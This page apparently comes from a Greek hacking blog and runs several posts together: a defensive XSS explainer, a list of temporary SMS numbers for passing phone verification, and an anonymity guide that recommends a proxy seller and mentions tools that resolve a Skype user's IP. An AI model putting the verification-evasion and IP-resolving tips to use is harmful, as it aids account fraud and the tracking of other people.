Προστατεύοντας τον Ιστότοπό σας: Οι Αόρατοι Κίνδυνοι των Επιθέσεων XSS και Πώς να Αμυνθείτε | – #1 Το Hacking σε... απλά ελληνικά –Προστατεύοντας τον Ιστότοπό σας: Οι Αόρατοι Κίνδυνοι των Επιθέσεων XSS και Πώς να Αμυνθείτε | – #1 Το Hacking σε... απλά ελληνικά –Προστατεύοντας τον Ιστότοπό σας: Οι Αόρατοι Κίνδυνοι των Επιθέσεων XSS και Πώς να Αμυνθείτε | – #1 Το Hacking σε... απλά ελληνικά –Προστατεύοντας τον Ιστότοπό σας: Οι Αόρατοι Κίνδυνοι των Επιθέσεων XSS και Πώς να Αμυνθείτε | – #1 Το Hacking σε... απλά ελληνικά –Προστατεύοντας τον Ιστότοπό σας: Οι Αόρατοι Κίνδυνοι των Επιθέσεων XSS και Πώς να Αμυνθείτε | – #1 Το Hacking σε... απλά ελληνικά –Προστατεύοντας τον Ιστότοπό σας: Οι Αόρατοι Κίνδυνοι των Επιθέσεων XSS και Πώς να Αμυνθείτε | – #1 Το Hacking σε... απλά ελληνικά –Προστατεύοντας τον Ιστότοπό σας: Οι Αόρατοι Κίνδυνοι των Επιθέσεων XSS και Πώς να Αμυνθείτε | – #1 Το Hacking σε... απλά ελληνικά –Προστατεύοντας τον Ιστότοπό σας: Οι Αόρατοι Κίνδυνοι των Επιθέσεων XSS και Πώς να Αμυνθείτε | – #1 Το Hacking σε... απλά ελληνικά –
Οι επιθέσεις XSS, γνωστές και ως Cross-Site Scripting, αποτελούν σοβαρή απειλή για την ασφάλεια των ιστοσελίδων και των χρηστών τους. Στο παρόν άρθρο, θα εξετάσουμε τι είναι οι επιθέσεις XSS, πώς λειτουργούν και ποιοι τρόποι προστασίας μπορούν να υιοθετηθούν για να αποτραπεί η κακόβουλη εκμετάλλευσή τους.
Τι είναι η επίθεση XSS;
Η επίθεση XSS αναφέρεται σε καταστάσεις όπου κακόβουλος κώδικας JavaScript ενσωματώνεται σε μια ιστοσελίδα και εκτελείται στον φυλλομετρητή των χρηστών χωρίς τη συναίνεσή τους. Ο κακόβουλος κώδικας μπορεί να προέρχεται από εξωτερικές πηγές ή ακόμη και από τον ίδιο τον ιστότοπο, εάν τα εισαγόμα δεδομένα δεν ελέγχονται σωστά.
Οι επιθέσεις XSS διακρίνονται σε τρεις κατηγορίες:
Stored XSS: Ο κακόβουλος κώδικας αποθηκεύεται στη βάση δεδομένων του ιστότοπου και παραδίδεται στους χρήστες όταν επισκέπτονται τη σελίδα. Αυτή η μορφή επίθεσης μπορεί να έχει μακροχρόνιες συνέπειες.
Reflected XSS: Ο κακόβουλος κώδικας ενσωματώνεται σε URL ή φόρμες και εκτελείται κατά την αίτηση που κάνει ο χρήστης. Συνήθως, αυτές οι επιθέσεις επηρεάζουν μόνο τον συγκεκριμένο χρήστη.
DOM-based XSS: Αυτή η μορφή επίθεσης συμβαίνει στον πελάτη, όταν ο κακόβουλος κώδικας τροποποιεί το DOM (Document Object Model) της σελίδας, επηρεάζοντας έτσι την εμφάνιση ή τη συμπεριφορά της.
Πώς Λειτουργούν οι Επιθέσεις XSS;
Για να κατανοήσουμε πώς λειτουργούν οι επιθέσεις XSS, ας ρίξουμε μια ματιά στα βασικά στάδια:
Εισαγωγή Κακόβουλου Κώδικα: Ο επιτιθέμενος εισάγει κακόβουλο κώδικα (συνήθως JavaScript)
Στη συνέχεια, ας εξετάσουμε πώς μπορείτε να προστατευτείτε από αυτούς τους κινδύνους και να ενισχύσετε την ασφάλεια του ιστότοπού σας:
Είσοδος δεδομένων (Input Validation): Το πρώτο βήμα στην προστασία από επιθέσεις XSS είναι η προσεκτική εισαγωγή και επεξεργασία των δεδομένων που εισέρχονται στην ιστοσελίδα σας. Βεβαιωθείτε ότι εφαρμόζετε κανόνες εισαγωγής (input validation) και αποτρέπετε την εκτέλεση κώδικα που μπορεί να εισαχθεί από χρήστες.
Κωδικοποίηση εξόδου (Output Encoding): Κωδικοποίηση εξόδου είναι η διαδικασία με την οποία τα δεδομένα εξόδου, πριν αποσταλούν στον πελάτη, κωδικοποιούνται έτσι ώστε να μην εκτελεστούν ως κώδικας JavaScript. Χρησιμοποιήστε αξιόπιστες βιβλιοθήκες ή εργαλεία κωδικοποίησης εξόδου.
Content Security Policy (CSP): Το CSP είναι ένα ισχυρό εργαλείο ασφάλειας που επιτρέπει στους διαχειριστές ιστοσελίδων να καθορίσουν ποια περιεχόμενα μπορούν να εκτελεστούν σε μια σελίδα. Μπορείτε να ρυθμίσετε το CSP σας για να αποτρέψετε την εκτέλεση εξωτερικού JavaScript και άλλων πόρων.
Διαχείριση συνόδων (Session Management): Βεβαιωθείτε ότι οι συνεδρίες των χρηστών διαχειρίζονται με ασφάλεια και ότι οι πληροφορίες συνόδου δεν μπορούν να προσπελαστούν ή να τροποποιηθούν από κακόβουλους.
Ενημερωμένοι Φυλλομετρητές (Browsers): Ενθαρρύνετε τους χρήστες να χρησιμοποιούν ενημερωμένους φυλλομετρητές, καθώς πολλοί από αυτούς έχουν ενσωματωμένα μέτρα ασφαλείας κατά των επιθέσεων XSS.
Εκπαίδευση των Χρηστών: Εκπαιδεύστε τους χρήστες σας σχετικά με τους κινδύνους των επιθέσεων XSS και τη σημασία της προσοχής κατά την περιήγηση.
Αυτόματοι Ελεγκτές Ασφαλείας (Security Scanners): Χρησιμοποιήστε αυτόματους ελεγκτές ασφαλείας για να ανιχνεύσετε πιθανές ευπάθειες στον κώδικα της ιστοσελίδας σας.
Συνεχής Ενημέρωση: Η ασφάλεια των ιστοσελίδων είναι μια συνεχής προσπάθεια. Κρατήστε το λογισμικό, τον κώδικα, και τα CMS (Content Management Systems) σας ενημερωμένα σε τακτά χρονικά διαστήματα.
Αντιμετώπιση των Επιθέσεων XSS:
Αν παρόλα αυτά εκτελεστεί μια επίθεση XSS στον ιστότοπό σας, είναι σημαντικό να ξέρετε πώς να αντιμετωπίσετε την κατάσταση:
Κατανόηση της Επίθεσης: Πρέπει να κατανοήσετε πώς λειτούργησε η επίθεση και ποια δεδομένα εκτελέστηκαν. Αυτό σας επιτρέπει να αντιδράσετε αποτελεσματικότερα.
Κλείσιμο της Ευπάθειας: Βεβαιωθείτε ότι κλείνετε την ευπάθεια στον κώδικα σας που επέτρεψε την επίθεση. Αυτό μπορεί να σημαίνει την τροποποίηση του κώδικα ή την απενεργοποίηση προσωρινά του επιρρέποντος τμήματος του ιστότοπου.
Ανάλυση Κακόβουλου Κώδικα: Εξετάστε τον κακόβουλο κώδικα που χρησιμοποιήθηκε στην επίθεση για να κατανοήσετε τις πιθανές συνέπειες και να αντιμετωπίσετε τυχόν επιπτώσεις.
Καταγραφή Και Αναφορά: Καταγράψτε την επίθεση και αναφέρετέ την στις κατάλληλες αρχές ασφαλείας. Αυτό μπορεί να βοηθήσει να προστατευτείτε από περαιτέρω επιθέσεις και να βελτιώσετε την ασφάλεια του ιστότοπου σας.
Ενημέρωση των Χρηστών: Ενημερώστε τους χρήστες σας για το περιστατικό και τα μέτρα που λαμβάνετε για την αντιμετώπισή του.
Εφαρμογή Παρακολούθησης (Monitoring): Χρησιμοποιήστε λογισμικό παρακολούθησης κίνησης και ασφαλείας για να εντοπίζετε πρόωρα επιθέσεις και ανωμαλίες στην κίνηση της ιστοσελίδας σας.
Οι επιθέσεις XSS αποτελούν μια σοβαρή απειλή για την ασφάλεια του ιστότοπού σας και των χρηστών σας. Με την εφαρμογή σωστών πρακτικών ασφαλείας και την ενημέρωση για τις τρέχουσες απειλές, μπορείτε να προστατεύσετε τον ιστότοπό σας από αυτούς τους κινδύνους.
Φίλτρα:
Για να προστατευτείτε από επιθέσεις XSS, μπορείτε να χρησιμοποιήσετε διάφορα φίλτρα και μέτρα ασφαλείας στον κώδικα της ιστοσελίδας σας. Αυτά τα φίλτρα θα σας βοηθήσουν να ελέγξετε την εισερχόμενη και εξερχόμενη πληροφορία για πιθανούς κώδικες XSS. Εδώ είναι μερικά από τα βασικά μέτρα που μπορείτε να λάβετε:
Εισαγωγή δεδομένων (Input Validation): Επιβεβαιώστε ότι τα δεδομένα που εισάγονται από τους χρήστες στην ιστοσελίδα σας ελέγχονται για ανεπιθύμητους χαρακτήρες και κωδικούς πριν τα αποθηκεύσετε ή τα εμφανίσετε. Χρησιμοποιήστε λειτουργίες όπως htmlspecialchars() για την κωδικοποίηση εισόδου.
Κωδικοποίηση εξόδου (Output Encoding): Κωδικοποιήστε την εξαγόμενη πληροφορία πριν την εμφανίσετε στους χρήστες. Χρησιμοποιήστε τη σωστή συνάρτηση κωδικοποίησης, όπως htmlspecialchars() για τον HTML κώδικα και json_encode() για τα δεδομένα JSON.
Content Security Policy (CSP): Ρυθμίστε μια αποτρεπτική πολιτική CSP που να περιορίζει τις εκτελούμενες πηγές κώδικα στον ιστότοπό σας. Μπορείτε να καταχωρίσετε ποιοι πόροι επιτρέπονται και απαγορεύονται, όπως τα scripts από εξωτερικούς διακομιστές.
Εσωτερική Λειτουργία Escape: Χρησιμοποιήστε εσωτερικές λειτουργίες αποτροπής των επιθέσεων XSS που παρέχονται από το framework ή το περιβάλλον ανάπτυξης που χρησιμοποιείτε (όπως htmlspecialchars() σε PHP).
Βελτιωμένη Αυθεντικοποίηση (Authentication): Ενισχύστε το σύστημα αυθεντικοποίησης για τους χρήστες σας και βεβαιωθείτε ότι διαχειρίζεστε την πρόσβαση στις προστατευμένες περιοχές του ιστότοπου σας με ασφάλεια.
Παρακολούθηση και Συνεχής Ενημέρωση: Χρησιμοποιήστε λογισμικό παρακολούθησης και συνεχώς ενημερώνετε τον κώδικα σας για να αντιμετωπίσετε νέες απειλές και ευπάθειες.
Αυτά τα μέτρα συνιστούν ένα ισχυρό σύνολο πρακτικών για την προστασία από επιθέσεις XSS.
Βεβαιωθείτε ότι εφαρμόζετε αυτά τα μέτρα ασφαλείας σε όλα τα μέρη της ιστοσελίδας σας, συμπεριλαμβανομένων των πεδίων εισόδου, των φορμών επικοινωνίας, των σχολίων χρηστών και άλλων σημείων που εμφανίζουν πληροφορίες από τους χρήστες.
Επιπλέον, αξίζει να σημειωθεί ότι το καλύτερο μέτρο προστασίας είναι η συνεχής ενημέρωση και η εφαρμογή των καλών πρακτικών ασφαλείας στην ανάπτυξη και τη συντήρηση του ιστότοπού σας. Επίσης, πρέπει να είστε ενήμεροι για τις τρέχουσες απειλές και να αναθεωρείτε τα μέτρα σας ασφαλείας κατά τακτά χρονικά διαστήματα.
Επιπλέον, εάν χρησιμοποιείτε πλατφόρμες διαχείρισης περιεχομένου (CMS) όπως το WordPress, υπάρχουν πολλά πρόσθετα (plugins) και επεκτάσεις που μπορείτε να χρησιμοποιήσετε για την αυτόματη εφαρμογή ορισμένων από αυτά τα μέτρα ασφαλείας.
Το να προστατεύσετε τον ιστότοπό σας από επιθέσεις XSS είναι κρίσιμης σημασίας για την ασφάλεια των χρηστών σας και τη φήμη του ιστότοπού σας. Εφαρμόστε τα παραπάνω μέτρα ασφαλείας και παρακολουθήστε συνεχώς τον ιστότοπό σας για ενδεχόμενες αδυναμίες ασφαλείας.
Ο Αλέξανδρος είναι ο ιδρυτής του hacks.gr και η κινητήρια δύναμη πίσω από το όραμά μας. Με πολυετή εμπειρία στον κόσμο του hacking, έχει διαμορφώσει μια κοινότητα που είναι πηγή έμπνευσης και μάθησης για όλους. Με τον προσωπικό του χαρακτήρα και την τεχνογνωσία του, έχει δημιουργήσει έναν χώρο όπου οι λάτρεις του hacking μπορούν να συναντιούνται, να μοιράζονται γνώσεις και να εξελίσσονται.
Δωρεάν Verification χωρίς πραγματικό αριθμό τηλεφώνου.
Πιστεύω όλοι έχουμε πάει να κάνουμε ηλεκτρονικές αγορές, ή να φτιάξουμε λογαριασμός στα Social Media σωστά;
Πιστεύω όλοι έχουμε δει αυτό την επιλογή που λέει να προσθέσουμε τον αριθμό κινητού μας έτσι ώστε να μας στείλουν έναν κωδικό επιβεβαιώσεις σωστά;
Πάρα πολλά άτομα ξενερώνουν με την Ανωνυμία επειδή αναγκάζονται να προσθέσουν τα προσωπικά τους στοιχεία ( όπως τον αριθμό τους ).
Σήμερα θα σας δείξω έναν πολύ απλό τρόπο έτσι ώστε να κάνετε αγορές καθώς και λογαριασμούς χωρίς να προσθέτετε τα προσωπικά σας στοιχεία.
Temp-SMS
https://temp-sms.org/sms/642108797516
Αυτός ο ιστότοπος είναι πολύ παρόμοιος με το temp mail – sms, αλλά σε αυτόν τον ιστότοπο μπορείτε να πάρετε έναν αριθμό EN , υπάρχει όμως μια μικρή περίπτωση
μερική ιστότοποι να μην μπορούν να επιβεβαιώσουν τον αριθμό αυτόν οπότε πρέπει να δείτε και άλλους συνδέσμους.
7sim
https://7sim.org/free-phone-number-45MwGrzN
Αυτός ο ιστότοπος είναι ένας άλλος πολύ καλός ιστότοπος που έχω χρησιμοποιήσει και δίνει έναν πραγματικά περίεργο αριθμό όπως το 570, αλλά μπορείτε να πάρετε έναν αριθμό από το Ηνωμένο Βασίλειο ( παράδειγμα ) και να περάσετε από το yahoo και άλλους ιστότοπους με αυτό το ελεύθερο site ελέγχου sms.
http://freesmsverification.com/
k7.net – Αυτή η χρήση για δωρεάν Verifications δουλεύει τέλεια σε όλα τα site για οποιαδήποτε χώρα!
Το site αυτό έχει κατασκευαστή για να σας δώσει έναν αριθμό που ήταν σαν έναν πραγματικό αριθμό τηλεφώνου και ήταν glitchy δεδομένου ότι δεν προσφέρουν sms, αλλά θα μπορούσατε να χρησιμοποιήσετε τη φωνητική επαλήθευση επειδή με την επιβεβαίωση του αριθμού αμέσως θα πάρετε ένα φωνητικό μήνυμα και θα λάβετε τους κωδικούς επαλήθευσης σας δυστυχώς, ξεκίνησαν αυτό το site αντιμετωπίζει μερικές φορές θέματα όταν πηγαίνετε στο k7 και προσπαθήστε να πάρετε έναν αριθμό, αν το κάνετε αυτό και σας βγάλει κάποιο σφάλμα, απλά θα σας ανακατευθύνει σε εκεί νέο site που προσφέρει μόνο 800 αριθμούς.
Οι 800 αριθμοί ενδέχεται να μην δουλεύουν σχεδόν καθόλου για την επαλήθευση.
Για να περάσει την επαλήθευση των sms στο gmail παράδειγμα δοκιμάστε της παραπάνω μεθόδους που έγραψα.
Είναι μια μέθοδος που για εμένα δούλεψε, αυτό θα σας βοηθήσει στο να ξεφύγετε ακόμη και να χρειαστεί να χρησιμοποιήσετε έναν αριθμό τηλεφώνου, σας προτείνω αυτή τη μέθοδο.
Μερικά ακόμα links για δωρεάν verifications numbers:
Ο Αλέξανδρος είναι ο ιδρυτής του hacks.gr και η κινητήρια δύναμη πίσω από το όραμά μας. Με πολυετή εμπειρία στον κόσμο του hacking, έχει διαμορφώσει μια κοινότητα που είναι πηγή έμπνευσης και μάθησης για όλους. Με τον προσωπικό του χαρακτήρα και την τεχνογνωσία του, έχει δημιουργήσει έναν χώρο όπου οι λάτρεις του hacking μπορούν να συναντιούνται, να μοιράζονται γνώσεις και να εξελίσσονται.
ΣΗΜΕΙΩΣΗ Αν σας ενδιαφέρει η προστασία της ιδιωτικής ζωής στο Internet τότε πρέπει να πάρετε αυτόν τον οδηγό πολύ σοβαρά. Το παραμικρό λάθος, θα μπορούσε να φανερώσει όλα τα στοιχειά σας στο Internet Επίσης, πλέον όλες η μεγάλες εταιρίες περνούν τα στοιχειά σας, η έλλειψη γνώσης σας για το ίντερνετ μπορεί να σας προδώσει, και η NSA να σας παρακολουθεί και να ξέρει τα πάντα για εσάς.
DNS
Αυτό το πρόγραμμα σας δίνει τη δυνατότητα να χρησιμοποιήσετε τους διακομιστές DNS του OpenDNS, αντί του ISP σας. Κρυπτογραφεί επίσης το σύνολο της κίνησης DNS ανάμεσα σε εσάς και το διακομιστή OpenDNS.
Ο ISP σας μπορεί να σας παρακολουθεί, ή ακόμα και κάποιος στο ίδιο δίκτυο. Ακόμα με μια ευπάθεια στον υπολογιστή σας θα μπορούσανε να παρακολουθούνε όλα τα πακέτα που στέλνονται.
Μπορεί επίσης να χρησιμοποιείτε ένα VPN, και να έχετε μια διαρροή DNS, όπου μπορεί να σας προδώσει.
Η ιστοσελίδα “Έλεγχος Διαρροής DNS” μπορεί να χρησιμοποιηθεί για να ελέγξει αν υπάρχουν διαρροές.
Κατεβάστε και εγκαταστήστε το DNSCrypt, και αλλάξτε τις ρυθμίσεις σας όπως στην παρακάτω εικόνα
ΑΝΩΝΥΜΙΑ ΧΡΗΣΙΜΟΠΟΙΩΝΤΑΣ ΤΟ MOZILLA FIREFOX
Εκτελέστε το πρόγραμμα, και στη συνέχεια κάντε κλικ στο κουμπί “Firefox” στην επάνω αριστερή γωνία, και στη συνέχεια κάντε κλικ στο κουμπί “Επιλογές”. Αλλάξτε όλες τις ρυθμίσεις σας όπως τα παρακάτω:
Adblock
Με το Adblock Plus μπορείτε να:
• Απολαύστε το web χωρίς ενοχλητικές διαφημίσεις
• Παρακολουθήστε βίντεο χωρίς διαφημίσεις
• Υποστήριξη δικτυακούς τόπους με «αποδεκτές διαφημίσεις»
Τα κριτήρια του Adblock Plus για να επιτρέπει αποδεκτές διαφημίσεις είναι πολλά.
Με λίγα λόγια αποδέχεται στατικές διαφημίσεις μόνο (χωρίς κινούμενες εικόνες, ήχους ή παρόμοια),
κατά προτίμηση μόνο κείμενο. Οι διαφημίσεις δεν πρέπει να επισκιάζουν το περιεχόμενο της σελίδας, και «above the fold» πρέπει να υπάρχει αρκετό χρήσιμο περιεχόμενο κι όχι full διαφημίσεις. Οι Διαφημίσεις θα πρέπει να επισημαίνονται ξεκάθαρα ως τέτοια με την λέξη «διαφήμιση» ή το ισοδύναμό της.
Add-ons Adblock Plus υπάρχουν για:
• Adblock Plus για Firefox (Gecko)
• Adblock plus για Chrome (WebKit)
• Adblock Plus για Opera
• Adblock Plus για Android (είναι app)
• Adblock Plus για K-Meleon[/color][/center]
Ιδιωτική περιήγηση
Η λειτουργία Ιδιωτικής Περιήγησης σάς επιτρέπει να πλοηγηθείτε στο διαδίκτυο χωρίς να αποθηκεύονται πληροφορίες σχετικά με το ποιές ιστοσελίδες έχετε επισκεφθεί
Τι δεν αποθηκεύει η Ιδιωτική Περιήγηση;
Σελίδες που έχετε επισκεφθεί[/b]: Δε θα εισαχθεί καμία σελίδα στη λίστα ιστοτόπων που υπάρχουν στο μενού του ιστορικού, στη λίστα του ιστορικού που υπάρχει μέσα στο παράθυρο “Βιβλιοθήκη”, ή στη λίστα διευθύνσεων που εμφανίζονται αυτόματα στη Γραμμή Διευθύνσεων.
Πληροφορίες που εισάγονται σε Φόρμα ή στη Γραμμή Αναζήτησης: Τίποτα απ’ όλα όσα πληκτρολογείτε σε πλαίσια κειμένου που υπάρχουν σε ιστοσελίδες δεν αποθηκεύεται, όπως επίσης και στη Γραμμή αναζήτησης ή στη Φόρμα αυτόματης συμπλήρωσης.
Κωδικούς πρόσβασης: Κανένας νέος κωδικός πρόσβασης δε θα αποθηκευτεί.
Καταχωρήσεις στη Λίστα Ληφθέντων Αρχείων: Κανένα αρχείο από αυτά που κατεβάσατε δε θα υπάρχει στην καρτέλα Λήψεις αρχείων μετά την απενεργοποίηση της λειτουργίας Ιδιωτικής Περιήγησης.
Cookies: Τα cookies αποθηκεύουν πληροφορίες σχετικά με τους ιστότοπους που επισκέπτεσθε, όπως προτιμήσεις σελίδων, κατάσταση σύνδεσης, και δεδομένα που χρησιμοποιούνται από πρόσθετα όπως το Adobe Flash. Τα cookies μπορούν ακόμη να χρησιμοποιηθούν από τρίτους για να ανιχνεύσουν την περιήγησή σας στο διαδίκτυο.
Αρχεία προσωρινής μνήμης διαδικτύου, αρχεία χωρίς σύνδεση και δεδομένα χρήστη: Κανένα προσωρινό αρχείο διαδικτύου, ή προσωρινά αποθηκευμένο αρχείο από ιστοσελίδες, όπως επίσης και κανένα αρχείο, από αυτά τα οποία αποθηκεύουν οι ιστότοποι για εργασία χωρίς σύνδεση, δε θα αποθηκευτεί.
• Ανοίγουμε τον ιστοπλοηγό Mozilla Firefox.
• Κάνουμε αριστερό κλίκ στο μενού: Εργαλεία
• Στο μενού που εμφανίζει, επιλέγουμε:
• Έναρξη ιδιωτικής περιήγησης
• Στο παράθυρο που θα εμφανιστεί πατάμε το κουμπάκι: Έναρξη ιδιωτικής περιήγησης.
• Αν κάναμε τα βήματα μέχρι εδώ τότε ένα παράθυρο θα ανοίξει και θα υπάρχει αυτή η εικόνα σε διάφορα μεγέθη.
• Μπράβο μπήκαμε με επιτυχία σε κατάσταση ανώνυμης περιήγησης.
E-MAIL
Η όλη ιδέα του ηλεκτρονικού ταχυδρομείου είναι πολύ παλιά και άσκοπη κατά τη γνώμη μου.
Θα έλεγα ότι ίσως το 70% της χρήσης του ηλεκτρονικού ταχυδρομείου είναι να ελέγξει εσάς, ή να σας προσθέσει σε μια λίστα.
Είναι ένα κακό πρωτόκολλο επικοινωνίας και σχεδόν κάθε γνωστός πάροχο web mail κρατάει logs έτσι ώστε να τα ξέρουν όλα για τη ζωή σας.
Οι μεγάλες εταιρίες, όπως το Gmail, Hotmail και το Yahoo, είναι οι χειρότερες για την προστασία της ιδιωτικής ζωής.
Εάν δεν θέλετε να χρησιμοποιήσετε το ηλεκτρονικό ταχυδρομείο, όπως εγώ, μπορείτε να αρνηθείτε να δημιουργήσετε μια διεύθυνση ηλεκτρονικού ταχυδρομείου, και απλά να χρησιμοποιήσετε μια προσωρινή διεύθυνση ηλεκτρονικού ταχυδρομείου.
Ο πιο ασφαλής τρόπος για τη χρήση ηλεκτρονικού ταχυδρομείου, θα ήταν να χρησιμοποιήσετε κρυπτογράφηση PGP.[/b]
Το πρόγραμμα αυτό κρυπτογραφεί όλες τις πληκτρολογήσεις σας, καθιστώντας αδύνατο για ένα keylogger, ή οποιοδήποτε λογισμικό παρακολούθησης να ξέρει τι πληκτρολογείτε.
Κατεβάστε και εγκαταστήστε KeyScrambler (Ίσως χρειαστεί να κάνετε επανεκκίνηση.), Και κάντε δεξί κλικ στο εικονίδιο του προγράμματος, και κάντε κλικ στο “Επιλογές”. Αλλάξτε τις ρυθμίσεις σας, έτσι ώστε να είναι όπως οι παρακάτω εικόνες:
ΣΗΜΕΙΩΣΗ: Η δωρεάν έκδοση θα κρυπτογραφήσει μόνο ότι πληκτρολογείτε στο web browser σας.
ΑΛΛΑΞΤΕ ΤΗΝ MAC ADRESS
Αυτό το πρόγραμμα θα σας επιτρέψει να αλλάξετε τη mac διεύθυνση σας. (Όχι, αυτό δεν έχει να κάνει με έναν υπολογιστή Mac.)
Κατεβάστε και εγκαταστήστε το http://www.technitium.com/tmac/index.html TMAC, και κάντε το εκτέλεση.
Για κάθε σύνδεση στην ενότητα “Network Connection“, το επισημάνετε, και στη συνέχεια κάντε κλικ στο κουμπί “Random MAC Address” και στη συνέχεια κάντε κλικ στο κουμπί “Change Now».
PeerBlock
Αυτό το πρόγραμμα θα μπλοκάρει κάθε εισερχόμενη και εξερχόμενη κίνηση.
Κατεβάστε και εγκαταστήστε το PeerBlock, και στη συνέχεια πρέπει να το εκτελέσετε. Στην αρχή, θα σας ζητηθεί τι είδους IP θέλετε να αποκλείσετε. Επιλέξτε τα πάντα, εκτός από το “Import/Create Lists” και “Always Allow HTTP”.
ΣΗΜΕΙΩΣΗ: Το πρόγραμμα μπορεί να εμποδίσει την πρόσβαση σε ορισμένες ιστοσελίδες, χωρίς να καταλάβετε γιατί είναι αποκλεισμένες. Αν μια ιστοσελίδα δεν φορτώσει, τότε κάνετε τερματισμό του Peerblock, και όταν τελειώσετε τότε το ανοίγετε ξανά
Κάτω από την καρτέλα “Settings”, αλλάξετε τις ρυθμίσεις σας όπως στην παρακάτω εικόνα:
Κάντε κλικ στο κουμπί “Next”
Proxy
Υπάρχουν πολλά προγράμματα που σας δίνουν τη δυνατότητα να εισάγετε μια proxy list, αλλά για μεγαλύτερη ασφάλεια θα πρέπει να χρησιμοποιείτε κατά προτίμηση ένα Proxy SOCKS 5.
Τα περισσότερα Proxy που μπορείτε να βρείτε στο Google δεν είναι πολύ ασφαλής, σχεδόν καθόλου. Ενώ μπορεί να κρύψει την IP σας, να σας δώσει μια αρκετή γρήγορη ταχύτητα, άλλα μπορεί να μην είστε και 100% ασφαλές.
Μια ιστοσελίδα που ονομάζεται Vip72 πουλάει πολύ ασφαλές Proxy SOCKS5.
Μπορείτε να χρησιμοποιήσετε ένα δωρεάν web proxy, όπως NewIPNow, αλλά να θυμάστε, δεν είστε 100% ανώνυμος.
Ο Ίδιος πάροχος του proxy θα μπορούσε να καταγράψει την ip σας, οι ιστοσελίδες που επισκέπτεστε, οι κωδικοί πρόσβασης που θα εισάγετε, όλα τα δεδομένα σας είναι ευάλωτα και θα μπορούσανε να χρησιμοποιηθούν από ξένα άτομα, χωρίς την άδεια σας.
Οι πληροφορίες που συγκεντρώνονται θα μπορούσαν να χρησιμοποιηθούν εναντίον σας, είτε από αυτούς, είτε με την επιβολή του νόμου, εφόσον ζητήσουν τα logs από την εταιρία.
ΜΗΝ ΧΡΗΣΙΜΟΠΟΙΕΙΤΕ ΤΟ GOOGLE
Κάθε φορά που κάνεις χρήση κάποιας μηχανής αναζήτησης στο διαδίκτυο, αυτόματα συλλέγονται προσωπικές σου πληροφορίες.
Ποιες πληροφορίες συλλέγουν οι μηχανές αναζήτησης:
• Διεύθυνση ΙΡ: Η ΙΡ του προσωπικού σας υπολογιστή μπορεί να αναχθεί σε εσάς μέσω της αντίστροφης αναζήτησης DNS με εργαλεία, που δεν αποκαλύπτουν μόνο την υπηρεσία παροχής διαδικτύου που χρησιμοποιείτε, αλλά και την τοποθεσία σας, δηλαδή το κράτος ή την επαρχία όπου βρίσκεστε.
• Ημερομηνία και ώρα: Η ακριβής ώρα και ημερομηνία, που τοποθετήσατε μια λέξη κλειδί στη μηχανή αναζήτησης αποθηκεύονται. Ο browser που χρησιμοποιείτε συνήθως αποθηκεύεται στα αρχεία καταγραφής των μηχανών αναζήτησης.
• Όροι αναζήτησης: Οι όροι αναζήτησης αποθηκεύονται επίσης.
• Cookie id: Μοναδικός κώδικας ενσωματώνεται στο cookie και κατατάσσεται σε έναν συγκεκριμένο υπολογιστή από τη μηχανή αναζήτησης, παρέχοντας έτσι την δυνατότητα να γνωρίζει αν τα αιτήματα είναι από τον συγκεκριμένο υπολογιστή. Εφόσον το αναγνωρισμένο cookie εξακολουθεί να είναι αποθηκευμένο στο πρόγραμμα περιήγησης, μπορεί να συνδεθεί και να αναχθεί σε εσάς, ανεξάρτητα από την διεύθυνση ΙΡ του υπολογιστή που χρησιμοποιείτε.
Αξιοσημείωτο είναι το γεγονός ότι μετά από ισχυρή πίεση από ομάδες προστασίας των προσωπικών δεδομένων, ορισμένες μεγάλες μηχανές αναζήτησης έχουν αρχίσει να συγκαλύπτουν τη διεύθυνση ΙΡ των υπολογιστών των χρηστών στα αρχεία καταγραφής κατά τις αναζητήσεις τους, αλλά αυτό δε σημαίνει ότι είναι ανώνυμο το ιστορικό αναζήτησής τους.
Μόλις επιλέξετε κάποιο από τα αποτελέσματα που προσφέρει η μηχανή αναζήτησης, οι πληροφορίες αποστέλλονται άμεσα στους διακομιστές (server) της ιστοσελίδας, έτσι ώστε να γνωρίζουν τι αναζητήσεις έχετε πραγματοποιήσει. Αυτές οι πληροφορίες μπορούν να χρησιμοποιηθούν για πιο στοχευμένες διαφημίσεις.
Μηχανές αναζήτησης που σέβονται το απόρρητο των δεδομένων των χρηστών
duck Duck Go: Μηχανή αναζήτησης για την προστασία δεδομένων. Ο browser σας στέλνει αυτόματα πληροφορίες σχετικά με την αναζήτησή σας και τη διεύθυνση ΙΡ στη μηχανή αναζήτησης, αλλά η μηχανή Duck Duck Go δεν αποθηκεύει απολύτως τίποτα. Οι πληροφορίες αυτές, συνήθως χρησιμοποιούνται για να σας αποστέλλονται πιο στοχευμένες διαφημίσεις, αλλά το Duck Duck Go διαγράφει τα πάντα. Το Duck Duck Go “τραβάει” τα αποτελέσματα των αναζητήσεων από την Google και το Bing της Microsoft και σας τα προσφέρει χωρίς να παραβιάζει τα προσωπικά σας δεδομένα. Επίσης, έχει τη δική του δικτυακή μηχανή αναζήτησης και ευρετήριο ιστοσελίδων.
Το Skype έχει γίνει πολύ χάλια τώρα . Είναι ιδιοκτησία της Microsoft , και ξέρει ότι έχει να κάνει με εσάς.
Οι συζητήσεις σας και οι κλήσεις σας είναι όλα υπό παρακολούθηση .
Το Skype και το GMail είναι στην κορυφή της λίστας παρακολούθησης της NSA .
Αλλά, υπάρχουν μερικά μέτρα που μπορείτε να πάρετε , προκειμένου να εξασφαλίσει κάποια προστασία της ιδιωτικής ζωής σας .
Η IP σας καταγράφεται κάθε φορά που θα συνδεθείτε , οπότε αν θέλετε να είστε έξυπνοι , δημιουργείτε ένα νέο skype , χρησιμοποιώντας ένα ασφαλές VPN . Κάθε φορά που χρησιμοποιείτε το Skype πρέπει να έχετε κάποιο VPN.
Για πρόσθετη ασφάλεια , ανάλογα με την έκδοση που χρησιμοποιείτε , μπορείτε να χρησιμοποιήσετε τις ρυθμίσεις διακομιστή μεσολάβησης (proxy).
Αλλά πιστεύω ότι ο καλύτερος τρόπος είναι να τρέξετε ένα λειτουργικό σύστημα των Windows , μέσα σε ένα VirtualBox , και μετά το Skype, πίσω από ένα ασφαλές VPN , μέσα στο VirtualBox .
Κάποιος μπορει να αποκτήσει πολύ εύκολα την IP από κάποιον χρήστη του Skype, με online εργαλεία που ονομάζονται « Skype Resolver “, ακόμα και από το CMD αρκεί να τρέξει 2-3 εντολές.
